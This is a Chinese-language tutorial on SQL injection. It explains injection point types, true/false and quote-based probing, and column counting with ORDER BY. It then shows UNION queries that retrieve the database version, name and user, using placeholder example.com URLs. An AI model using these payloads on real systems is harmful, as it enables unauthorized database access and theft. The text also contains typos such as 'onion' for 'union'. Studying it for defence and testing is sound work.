1 基本概念

1.1 SQL inject 漏洞概述

    在owasp发布的top 10漏洞里面，注入漏洞一直是危害排名第一，其中主要是指数据库注入型漏洞。

    数据库注入漏洞，主要是开发人员在构建代码的时候，对输入边界没有进行过滤或者过滤不足，导致攻击者可以通过合法的输入点提交一些精心构造的语句，从而欺骗后台数据库对其进行执行，导致数据库信息泄露的一种漏洞。

例如：

1.2 SQL inject漏洞攻击流程及注入类型

1.2.1 注入点发现

自动方式：使用web漏洞扫描工具，自动进行注入点的发现。

手动方式：手工构造sql语句进行注入点的发现。

---

常见注入点类型：

数字型：    user_id=$id

字符型：    user_id="$id"

搜索型：    text LIKE '%{_GET['search']}%'

---

判断注入点：

数字型注入：    http://www.example.com/?id=7

提交：7    http://www.example.com/?id=7;

数据库执行：    select *from example_table where id=7;

显示正常页面

提交：7 and 1=1     http://www.example.com/?id=7 and 1=1;

数据库执行    select *from example_table where id=7 and 1=1;

显示正常页面

提交：7 and 1=2     http://www.example.com/?id=7 and 1=2;

数据库执行    select *from example_table where id=7 and 1=2;

显示异常页面，说明and 1=2被数据库进行了处理。

单引号测试：http://www.example.com/?id=`;

显示异常页面报错，可以通过报错的信息知道，后台是否对单引号进行了处理。

---

字符型注入：http://www.example.com/?name='8'

原理同数字型注入。

提交：8

select *from example_table where name='8';

提交：8 and 1=1

 select *from example_table where name='8 and 1=1';

并不会成功。

提交：8’ and 1=1 --  注释掉数据库中后面的单引号。

select *from example_table where name='8’ and 1=1-- ';    

提交：8’ and 1=2 --  注释掉数据库中后面的单引号。

select *from example_table where name='8’ and 1=2-- ';

单引号测试：

select *from example_table where name='‘’; 

语法报错，根据错误信息确认是否存在注入点。

---

搜索性注入：http://www.example.com/search.php?search=1

输入1：

select *from comment where comment_tex like '%1%';

输入1%’ and 1=1-- 或者 1%’ and '%1%' = '%2

select *from comment where comment_tex like '%1%' and 1=1-- %';

select *from comment where comment_tex like '%1%' and '%2%';

总而言之，就是对SQL中的各类型的输入进行闭合测试，构造合法SQL，欺骗后台执行。

---

1.2.2 信息获取

环境信息：数据库类型、数据库版本、操作系统版本、用户信息等

数据库信息：数据库名称、数据库表、表字段、字段内容（加密内容破解）。

onion联合查询：

    想要获得更多的信息可以使用onion联合查询，联合查询的时候列数需要和主查询相同。如何确认主查询的列数呢？

    使用order by确认主查询的列，就可以使用union构造相应的查询。order by x 是对结果进行排序，按照第x列进行排序，默认数字0-9，字母a-z，如果查询出来的结果有2列，说明这个语句查询了两个字段。

    如：提交1' order by 2# 回显正常，1' order by 3#提示：unknown clown，则表示一共有2列。

    接下来就可以构造联合查询了，先构造一个不成立的查询（或空条件），使得前面查询结果为空，然后使用union 1，2进行求值。这样就可以得到每个字段的名称，select 字段1、字段2 from users where id = ‘1’ union select 字段1，字段2 # 。

可以通过select version();获取当前数据库版本；

select database();获取当前数据库；

select user();取得当前登录的用户；

---